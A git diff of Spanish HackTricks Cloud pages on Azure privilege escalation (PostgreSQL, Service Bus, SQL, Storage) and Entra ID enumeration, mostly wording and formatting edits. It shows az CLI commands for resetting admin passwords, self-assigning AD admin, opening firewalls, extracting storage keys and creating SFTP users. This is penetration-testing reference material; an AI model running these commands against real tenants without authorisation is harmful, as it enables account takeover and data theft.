Por ejemplo, estos permisos permiten cambiar la contraseña de PostgreSQL, útil por supuesto en caso de que la autenticación de PostgreSQL esté habilitada. - -{% code overflow="wrap" %} ```bash az postgres flexible-server update \ --resource-group \ --name \ --admin-password ``` -{% endcode %} - -Además, es necesario tener habilitado el acceso público si deseas acceder desde un punto final no privado. Para habilitarlo: - -{% code overflow="wrap" %} +Además, es necesario tener habilitado el acceso público si deseas acceder desde un endpoint no privado, para habilitarlo: ```bash az postgres flexible-server update --resource-group --server-name --public-access Enabled ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read` Con este permiso, puedes configurar administradores de Azure Active Directory (AD) para un Servidor Flexible de PostgreSQL. Esto se puede explotar configurando a uno mismo o a otra cuenta como el administrador de AD, otorgando control administrativo total sobre el servidor de PostgreSQL. La actualización de un principal existente aún no es compatible, por lo que si hay uno creado, debes eliminarlo primero. -Es importante que el servidor flexible tenga identidades administradas asignadas a un usuario para usar. - -{% code overflow="wrap" %} +Es importante que el servidor flexible tenga identidades administradas asignadas a un usuario para usar. ```bash az postgres flexible-server ad-admin create \ --resource-group \ @@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \ --identity \ --object-id ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index 96bcf2c22..a675ee045 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -12,7 +12,7 @@ Para más información, consulta: ### Enviar Mensajes. Acción: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` O `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` -Puedes recuperar el `PrimaryConnectionString`, que actúa como una credencial para el espacio de nombres de Service Bus. Con esta cadena de conexión, puedes autenticarte completamente como el espacio de nombres de Service Bus, lo que te permite enviar mensajes a cualquier cola o tema y potencialmente interactuar con el sistema de maneras que podrían interrumpir las operaciones, suplantar usuarios válidos o inyectar datos maliciosos en el flujo de mensajería. +Puedes recuperar el `PrimaryConnectionString`, que actúa como una credencial para el espacio de nombres de Service Bus. Con esta cadena de conexión, puedes autenticarte completamente como el espacio de nombres de Service Bus, lo que te permite enviar mensajes a cualquier cola o tema y potencialmente interactuar con el sistema de maneras que podrían interrumpir las operaciones, suplantar usuarios válidos o inyectar datos maliciosos en el flujo de trabajo de mensajería. ```python #You need to install the following libraries #pip install azure-servicebus @@ -127,9 +127,9 @@ asyncio.run(receive_and_process_messages()) print("Message Receiving Completed") print("----------------------------") ``` -### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` +### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` -Si tienes estos permisos, puedes escalar privilegios leyendo o creando claves de acceso compartido. Estas claves permiten el control total sobre el espacio de nombres de Service Bus, incluyendo la gestión de colas, temas y el envío/recepción de mensajes, potencialmente eludiendo los controles de acceso basados en roles (RBAC). +Si tienes estos permisos, puedes escalar privilegios leyendo o creando claves de acceso compartido. Estas claves permiten el control total sobre el espacio de nombres de Service Bus, incluyendo la gestión de colas, temas y el envío/recepción de mensajes, lo que podría eludir los controles de acceso basados en roles (RBAC). ```bash az servicebus namespace authorization-rule update \ --resource-group \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index 47d39cef8..c971132e9 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -10,9 +10,9 @@ Para más información sobre SQL Database, consulta: ../az-services/az-sql.md {{#endref}} -### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write" +### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write` -Con estos permisos, un usuario puede realizar escalación de privilegios al actualizar o crear servidores SQL de Azure y modificar configuraciones críticas, incluyendo credenciales administrativas. Este permiso permite al usuario actualizar propiedades del servidor, incluyendo la contraseña del administrador del servidor SQL, lo que habilita el acceso no autorizado o control sobre el servidor. También pueden crear nuevos servidores, potencialmente introduciendo infraestructura oculta con fines maliciosos. Esto se vuelve particularmente crítico en entornos donde "Microsoft Entra Authentication Only" está deshabilitado, ya que pueden explotar la autenticación basada en SQL para obtener acceso sin restricciones. +Con estos permisos, un usuario puede realizar escalación de privilegios al actualizar o crear servidores SQL de Azure y modificar configuraciones críticas, incluyendo credenciales administrativas. Este permiso permite al usuario actualizar propiedades del servidor, incluyendo la contraseña del administrador del servidor SQL, lo que habilita el acceso no autorizado o control sobre el servidor. También pueden crear nuevos servidores, lo que potencialmente introduce infraestructura oculta con fines maliciosos. Esto se vuelve particularmente crítico en entornos donde "Microsoft Entra Authentication Only" está deshabilitado, ya que pueden explotar la autenticación basada en SQL para obtener acceso sin restricciones. ```bash # Change the server password az sql server update \ @@ -35,7 +35,7 @@ az sql server update \ --resource-group \ --enable-public-network true ``` -### "Microsoft.Sql/servers/firewallRules/write" +### `Microsoft.Sql/servers/firewallRules/write` Un atacante puede manipular las reglas del firewall en los servidores de Azure SQL para permitir el acceso no autorizado. Esto puede ser explotado para abrir el servidor a direcciones IP específicas o rangos de IP completos, incluidas IPs públicas, lo que permite el acceso a actores maliciosos. Esta actividad de post-explotación puede ser utilizada para eludir los controles de seguridad de red existentes, establecer persistencia o facilitar el movimiento lateral dentro del entorno al exponer recursos sensibles. ```bash @@ -56,9 +56,9 @@ az sql server firewall-rule update \ --end-ip-address ``` Además, el permiso `Microsoft.Sql/servers/outboundFirewallRules/delete` te permite eliminar una regla de firewall. -NOTA: Es necesario tener habilitado el acceso público. +NOTA: Es necesario tener el acceso público habilitado. -### ""Microsoft.Sql/servers/ipv6FirewallRules/write" +### `Microsoft.Sql/servers/ipv6FirewallRules/write` Con este permiso, puedes crear, modificar o eliminar reglas de firewall IPv6 en un Azure SQL Server. Esto podría permitir a un atacante o usuario autorizado eludir las configuraciones de seguridad de red existentes y obtener acceso no autorizado al servidor. Al agregar una regla que permite el tráfico desde cualquier dirección IPv6, el atacante podría abrir el servidor al acceso externo. ```bash @@ -72,9 +72,9 @@ az sql server firewall-rule create \ Además, el permiso `Microsoft.Sql/servers/ipv6FirewallRules/delete` te permite eliminar una regla de firewall. NOTA: Es necesario tener habilitado el acceso público. -### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read" +### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read` -Con estos permisos puedes privesc en un entorno de Azure SQL Server accediendo a bases de datos SQL y recuperando información crítica. Usando el comando a continuación, un atacante o usuario autorizado puede establecerse a sí mismo o a otra cuenta como el administrador de Azure AD. Si "Microsoft Entra Authentication Only" está habilitado, puedes acceder al servidor y sus instancias. Aquí está el comando para establecer el administrador de Azure AD para un servidor SQL: +Con estos permisos puedes escalar privilegios en un entorno de Azure SQL Server accediendo a bases de datos SQL y recuperando información crítica. Usando el comando a continuación, un atacante o usuario autorizado puede establecerse a sí mismo o a otra cuenta como el administrador de Azure AD. Si "Microsoft Entra Authentication Only" está habilitado, puedes acceder al servidor y sus instancias. Aquí está el comando para establecer el administrador de Azure AD para un servidor SQL: ```bash az sql server ad-admin create \ --server \ @@ -82,7 +82,7 @@ az sql server ad-admin create \ --display-name \ --object-id ``` -### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read" +### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read` Con estos permisos, puedes configurar y hacer cumplir "Microsoft Entra Authentication Only" en un Azure SQL Server, lo que podría facilitar la escalada de privilegios en ciertos escenarios. Un atacante o un usuario autorizado con estos permisos puede habilitar o deshabilitar la autenticación solo de Azure AD. ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index 15610ecc7..d7c1d5f13 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -10,13 +10,13 @@ Para más información sobre almacenamiento, consulta: ../az-services/az-storage.md {{#endref}} -### Microsoft.Storage/storageAccounts/listkeys/action +### `Microsoft.Storage/storageAccounts/listkeys/action` Un principal con este permiso podrá listar (y los valores secretos) de las **claves de acceso** de las cuentas de almacenamiento. Permitiendo al principal escalar sus privilegios sobre las cuentas de almacenamiento. ```bash az storage account keys list --account-name ``` -### Microsoft.Storage/storageAccounts/regenerateKey/action +### `Microsoft.Storage/storageAccounts/regenerateKey/action` Un principal con este permiso podrá renovar y obtener el nuevo valor secreto de las **access keys** de las cuentas de almacenamiento. Permitiendo al principal escalar sus privilegios sobre las cuentas de almacenamiento. @@ -24,7 +24,7 @@ Además, en la respuesta, el usuario obtendrá el valor de la clave renovada y t ```bash az storage account keys renew --account-name --key key2 ``` -### Microsoft.Storage/storageAccounts/write +### `Microsoft.Storage/storageAccounts/write` Un principal con este permiso podrá crear o actualizar una cuenta de almacenamiento existente, actualizando cualquier configuración como reglas de red o políticas. ```bash @@ -36,9 +36,9 @@ az storage account update --name --add networkRuleSet.ipRules value=< ``` ## Blobs Specific privesc -### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete +### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete` -El primer permiso permite **modificar las políticas de inmutabilidad** en los contenedores y el segundo las elimina. +El primer permiso permite **modificar las políticas de inmutabilidad** en los contenedores y el segundo eliminarlas. > [!NOTE] > Tenga en cuenta que si una política de inmutabilidad está en estado de bloqueo, no puede hacer ninguna de las dos. @@ -56,21 +56,21 @@ az storage container immutability-policy update \ ``` ## Privesc específico de comparticiones de archivos -### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action +### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action` Esto debería permitir a un usuario que tenga este permiso poder tomar la propiedad de archivos dentro del sistema de archivos compartido. -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action` Esto debería permitir a un usuario que tenga este permiso poder modificar los permisos de los archivos dentro del sistema de archivos compartido. -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action` Esto debería permitir a un usuario que tenga este permiso poder realizar acciones dentro de un sistema de archivos como superusuario. -### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) +### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)` -Con este permiso, un atacante puede crear y actualizar (si tiene el permiso `Microsoft.Storage/storageAccounts/localusers/read`) un nuevo usuario local para una cuenta de Azure Storage (configurada con un espacio de nombres jerárquico), incluyendo la especificación de los permisos y el directorio de inicio del usuario. Este permiso es significativo porque permite al atacante otorgarse a sí mismo acceso a una cuenta de almacenamiento con permisos específicos como lectura (r), escritura (w), eliminación (d) y listado (l) y más. Adicionalmente, los métodos de autenticación que utiliza pueden ser contraseñas generadas por Azure y pares de claves SSH. No hay verificación de si un usuario ya existe, por lo que puedes sobrescribir a otros usuarios que ya están allí. El atacante podría escalar sus privilegios y obtener acceso SSH a la cuenta de almacenamiento, exponiendo o comprometiendo potencialmente datos sensibles. +Con este permiso, un atacante puede crear y actualizar (si tiene el permiso `Microsoft.Storage/storageAccounts/localusers/read`) un nuevo usuario local para una cuenta de Azure Storage (configurada con un espacio de nombres jerárquico), incluyendo especificar los permisos y el directorio de inicio del usuario. Este permiso es significativo porque permite al atacante otorgarse acceso a una cuenta de almacenamiento con permisos específicos como lectura (r), escritura (w), eliminación (d) y listado (l) y más. Adicionalmente, los métodos de autenticación que utiliza pueden ser contraseñas generadas por Azure y pares de claves SSH. No hay verificación si un usuario ya existe, por lo que puedes sobrescribir a otros usuarios que ya están allí. El atacante podría escalar sus privilegios y obtener acceso SSH a la cuenta de almacenamiento, exponiendo o comprometiendo potencialmente datos sensibles. ```bash az storage account local-user create \ --account-name \ @@ -80,7 +80,7 @@ az storage account local-user create \ --home-directory \ --has-ssh-key false/true # Depends on the auth method to use ``` -### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action +### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action` Con este permiso, un atacante puede regenerar la contraseña de un usuario local en una cuenta de Azure Storage. Esto otorga al atacante la capacidad de obtener nuevas credenciales de autenticación (como una contraseña SSH o SFTP) para el usuario. Al aprovechar estas credenciales, el atacante podría obtener acceso no autorizado a la cuenta de almacenamiento, realizar transferencias de archivos o manipular datos dentro de los contenedores de almacenamiento. Esto podría resultar en filtración de datos, corrupción o modificación maliciosa del contenido de la cuenta de almacenamiento. ```bash @@ -94,7 +94,7 @@ Para acceder a Azure Blob Storage a través de SFTP (is_hns_enabled debe ser ver sftp .@.blob.core.windows.net #regenerated-password ``` -### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action +### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action` Con estos permisos, un atacante puede restaurar un contenedor eliminado especificando su ID de versión eliminada o deseleccionar blobs específicos dentro de un contenedor, si fueron eliminados suavemente anteriormente. Esta escalada de privilegios podría permitir a un atacante recuperar datos sensibles que debían ser eliminados permanentemente, lo que podría llevar a un acceso no autorizado. ```bash @@ -110,7 +110,7 @@ az storage blob undelete \ --container-name \ --name "fileName.txt" ``` -### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read +### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read` Con estos permisos, un atacante puede restaurar un recurso compartido de archivos de Azure eliminado especificando su ID de versión eliminada. Esta escalada de privilegios podría permitir a un atacante recuperar datos sensibles que se suponía debían ser eliminados permanentemente, lo que podría llevar a un acceso no autorizado. ```bash diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index f6bb93743..dea522e11 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -184,11 +184,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Cuando **inicias sesión** a través de **CLI** en Azure con cualquier programa, estás utilizando una **Aplicación de Azure** de un **inquilino** que pertenece a **Microsoft**. Estas Aplicaciones, como las que puedes crear en tu cuenta, **tienen un id de cliente**. **No podrás ver todas ellas** en las **listas de aplicaciones permitidas** que puedes ver en la consola, **pero están permitidas por defecto**. +Cuando inicias sesión a través de la CLI en Azure con cualquier programa, estás utilizando una Aplicación de Azure de un inquilino que pertenece a Microsoft. Estas Aplicaciones, como las que puedes crear en tu cuenta, tienen un id de cliente. No podrás ver todas ellas en las listas de aplicaciones permitidas que puedes ver en la consola, pero están permitidas por defecto. -Por ejemplo, un **script de powershell** que **autentica** utiliza una aplicación con el id de cliente **`1950a258-227b-4e31-a9cf-717495945fc2`**. Incluso si la aplicación no aparece en la consola, un sysadmin podría **bloquear esa aplicación** para que los usuarios no puedan acceder utilizando herramientas que se conectan a través de esa App. +Por ejemplo, un script de powershell que autentica utiliza una aplicación con el id de cliente `1950a258-227b-4e31-a9cf-717495945fc2`. Incluso si la aplicación no aparece en la consola, un administrador del sistema podría bloquear esa aplicación para que los usuarios no puedan acceder utilizando herramientas que se conectan a través de esa Aplicación. -Sin embargo, hay **otros ids de cliente** de aplicaciones que **te permitirán conectarte a Azure**: +Sin embargo, hay otros ids de cliente de aplicaciones que te permitirán conectarte a Azure: ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -365,7 +365,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ``` ### MFA y Políticas de Acceso Condicional -Se recomienda encarecidamente agregar MFA a cada usuario, sin embargo, algunas empresas no lo configurarán o podrían configurarlo con un Acceso Condicional: El usuario será **requerido MFA si** inicia sesión desde una ubicación específica, navegador o **alguna condición**. Estas políticas, si no se configuran correctamente, pueden ser propensas a **bypasses**. Verifica: +Se recomienda encarecidamente agregar MFA a cada usuario, sin embargo, algunas empresas no lo configurarán o podrían configurarlo con un Acceso Condicional: El usuario será **requerido MFA si** inicia sesión desde una ubicación, navegador o **alguna condición** específica. Estas políticas, si no se configuran correctamente, pueden ser propensas a **bypasses**. Verifica: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -487,7 +487,7 @@ Los propietarios del grupo pueden agregar nuevos usuarios al grupo. Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Los grupos pueden ser dinámicos, lo que básicamente significa que **si un usuario cumple ciertas condiciones, será agregado a un grupo**. Por supuesto, si las condiciones se basan en **atributos** que un **usuario** puede **controlar**, podría abusar de esta función para **ingresar a otros grupos**.\ +> Los grupos pueden ser dinámicos, lo que básicamente significa que **si un usuario cumple ciertas condiciones, será agregado a un grupo**. Por supuesto, si las condiciones se basan en **atributos** que un **usuario** puede **controlar**, podría abusar de esta función para **entrar en otros grupos**.\ > Consulta cómo abusar de grupos dinámicos en la siguiente página: {{#ref}} @@ -714,10 +714,10 @@ Para más información sobre Aplicaciones consulta: ../az-basic-information/ {{#endref}} -Cuando se genera una App, se otorgan 2 tipos de permisos: +Cuando se genera una aplicación, se otorgan 2 tipos de permisos: - **Permisos** otorgados al **Service Principal** -- **Permisos** que la **app** puede tener y usar en **nombre del usuario**. +- **Permisos** que la **aplicación** puede tener y usar en **nombre del usuario**. {{#tabs }} {{#tab name="az cli" }} @@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//members" -# Listar roles de Entra ID asignados a un usuario +# List Entra ID roles assigned to a user az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/users//memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json -# Listar roles de Entra ID asignados a un grupo +# List Entra ID roles assigned to a group az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json -# Listar roles de Entra ID asignados a un principal de servicio +# List Entra ID roles assigned to a service principal az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json ``` - {{#endtab }} {{#tab name="Azure AD" }} - ```bash -# Obtener todas las plantillas de roles disponibles +# Get all available role templates Get-AzureADDirectoryroleTemplate -# Obtener roles habilitados (roles asignados) +# Get enabled roles (Assigned roles) Get-AzureADDirectoryRole -Get-AzureADDirectoryRole -ObjectId #Obtener información sobre el rol -# Obtener roles personalizados - usar AzureAdPreview +Get-AzureADDirectoryRole -ObjectId #Get info about the role +# Get custom roles - use AzureAdPreview Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName -# Usuarios asignados a un rol (Administrador Global) +# Users assigned a role (Global Administrator) Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember Get-AzureADDirectoryRole -ObjectId | fl -# Roles de la Unidad Administrativa (quién tiene permisos sobre la unidad administrativa y sus miembros) +# Roles of the Administrative Unit (who has permissions over the administrative unit and its members) Get-AzureADMSScopedRoleMembership -Id | fl * ``` - {{#endtab }} {{#endtabs }} -### Devices +### Dispositivos {{#tabs }} {{#tab name="az cli" }} - ```bash -# Si sabes cómo hacer esto, ¡envía un PR! +# If you know how to do this send a PR! ``` - {{#endtab }} {{#tab name="MS Graph" }} - ```bash -# Enumerar dispositivos usando Microsoft Graph PowerShell +# Enumerate devices using Microsoft Graph PowerShell Get-MgDevice -All -# Obtener detalles del dispositivo +# Get device details Get-MgDevice -DeviceId | Format-List * -# Obtener dispositivos gestionados usando Intune +# Get devices managed using Intune Get-MgDevice -Filter "isCompliant eq true" -All -# Obtener dispositivos propiedad de un usuario +# Get devices owned by a user Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com -# Listar comandos disponibles en Microsoft Graph PowerShell +# List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement ``` {{#endtab }} {{#tab name="Azure AD" }} - ```bash -# Enumerar Dispositivos +# Enumerate Devices Get-AzureADDevice -All $true | fl * -# Listar todos los dispositivos activos (y no los dispositivos obsoletos) +# List all the active devices (and not the stale devices) Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null} -# Obtener propietarios de todos los dispositivos +# Get owners of all devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} -# Usuarios registrados de todos los dispositivos +# Registred users of all the devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} -# Obtener dispositivos gestionados usando Intune +# Get dives managed using Intune Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"} -# Obtener dispositivos propiedad de un usuario +# Get devices owned by a user Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com -# Obtener Unidades Administrativas de un dispositivo +# Get Administrative Units of a device Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} } ``` - {{#endtab }} {{#endtabs }} > [!WARNING] -> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\ -> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**. +> Si un dispositivo (VM) está **unido a AzureAD**, los usuarios de AzureAD podrán **iniciar sesión**.\ +> Además, si el usuario conectado es **Propietario** del dispositivo, será **administrador local**. -### Administrative Units +### Unidades Administrativas -For more information about administrative units check: +Para más información sobre unidades administrativas, consulta: {{#ref}} ../az-basic-information/ @@ -1062,104 +1045,100 @@ For more information about administrative units check: {{#tabs }} {{#tab name="az cli" }} - ```bash -# Listar todas las unidades administrativas +# List all administrative units az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits" -# Obtener información de AU +# Get AU info az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53" -# Obtener miembros +# Get members az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members" -# Obtener principales con roles sobre la AU +# Get principals with roles over the AU az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers" ``` - {{#endtab }} {{#tab name="AzureAD" }} - ```bash -# Obtener Unidades Administrativas +# Get Administrative Units Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit -Id -# Obtener ID de la unidad administrativa por cadena +# Get ID of admin unit by string $adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'" -# Listar los usuarios, grupos y dispositivos afectados por la unidad administrativa +# List the users, groups, and devices affected by the administrative unit Get-AzureADMSAdministrativeUnitMember -Id -# Obtener los roles que los usuarios tienen sobre los miembros de la AU -Get-AzureADMSScopedRoleMembership -Id | fl #Obtener ID de rol y miembros del rol +# Get the roles users have over the members of the AU +Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ``` - {{#endtab }} {{#endtabs }} -## Entra ID Privilege Escalation +## Escalación de Privilegios de Entra ID {{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}} -## Azure Privilege Escalation +## Escalación de Privilegios de Azure {{#ref}} ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} -## Defensive Mechanisms +## Mecanismos Defensivos -### Privileged Identity Management (PIM) +### Gestión de Identidades Privilegiadas (PIM) -Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily. +La Gestión de Identidades Privilegiadas (PIM) en Azure ayuda a **prevenir que se asignen privilegios excesivos** a los usuarios innecesariamente. -One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\ -Note that the user will also be able to ask to **extend** the time. +Una de las principales características que ofrece PIM es que permite no asignar roles a los principales que están constantemente activos, sino hacerlos **elegibles por un período de tiempo (por ejemplo, 6 meses)**. Luego, cada vez que el usuario quiera activar ese rol, necesita solicitarlo indicando el tiempo que necesita el privilegio (por ejemplo, 3 horas). Luego, un **administrador necesita aprobar** la solicitud.\ +Tenga en cuenta que el usuario también podrá solicitar **extender** el tiempo. -Moreover, **PIM send emails** whenever a privileged role is being assigned to someone. +Además, **PIM envía correos electrónicos** cada vez que se asigna un rol privilegiado a alguien.
-When PIM is enabled it's possible to configure each role with certain requirements like: +Cuando PIM está habilitado, es posible configurar cada rol con ciertos requisitos como: -- Maximum duration (hours) of activation -- Require MFA on activation -- Require Conditional Access acuthenticaiton context -- Require justification on activation -- Require ticket information on activation -- Require approval to activate -- Max time to expire the elegible assignments -- A lot more configuration on when and who to send notifications when certain actions happen with that role +- Duración máxima (horas) de activación +- Requerir MFA en la activación +- Requerir contexto de autenticación de Acceso Condicional +- Requerir justificación en la activación +- Requerir información de ticket en la activación +- Requerir aprobación para activar +- Tiempo máximo para expirar las asignaciones elegibles +- Mucha más configuración sobre cuándo y a quién enviar notificaciones cuando ocurren ciertas acciones con ese rol -### Conditional Access Policies +### Políticas de Acceso Condicional -Check: +Verifique: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Entra Identity Protection +### Protección de Identidad de Entra -Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt. +La Protección de Identidad de Entra es un servicio de seguridad que permite **detectar cuándo un usuario o un inicio de sesión es demasiado arriesgado** para ser aceptado, permitiendo **bloquear** al usuario o el intento de inicio de sesión. -It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**: +Permite al administrador configurarlo para **bloquear** intentos cuando el riesgo es "Bajo y superior", "Medio y superior" o "Alto". Aunque, por defecto, está completamente **deshabilitado**:
> [!TIP] -> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options. +> Hoy en día se recomienda agregar estas restricciones a través de políticas de Acceso Condicional donde es posible configurar las mismas opciones. -### Entra Password Protection +### Protección de Contraseñas de Entra -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\ -It also allows to **ban a custom password list** that you need to provide. +La Protección de Contraseñas de Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) es una característica de seguridad que **ayuda a prevenir el abuso de contraseñas débiles al bloquear cuentas cuando ocurren varios intentos de inicio de sesión fallidos**.\ +También permite **prohibir una lista de contraseñas personalizadas** que debe proporcionar. -It can be **applied both** at the cloud level and on-premises Active Directory. +Se puede **aplicar tanto** a nivel de nube como en Active Directory local. -The default mode is **Audit**: +El modo predeterminado es **Auditoría**:
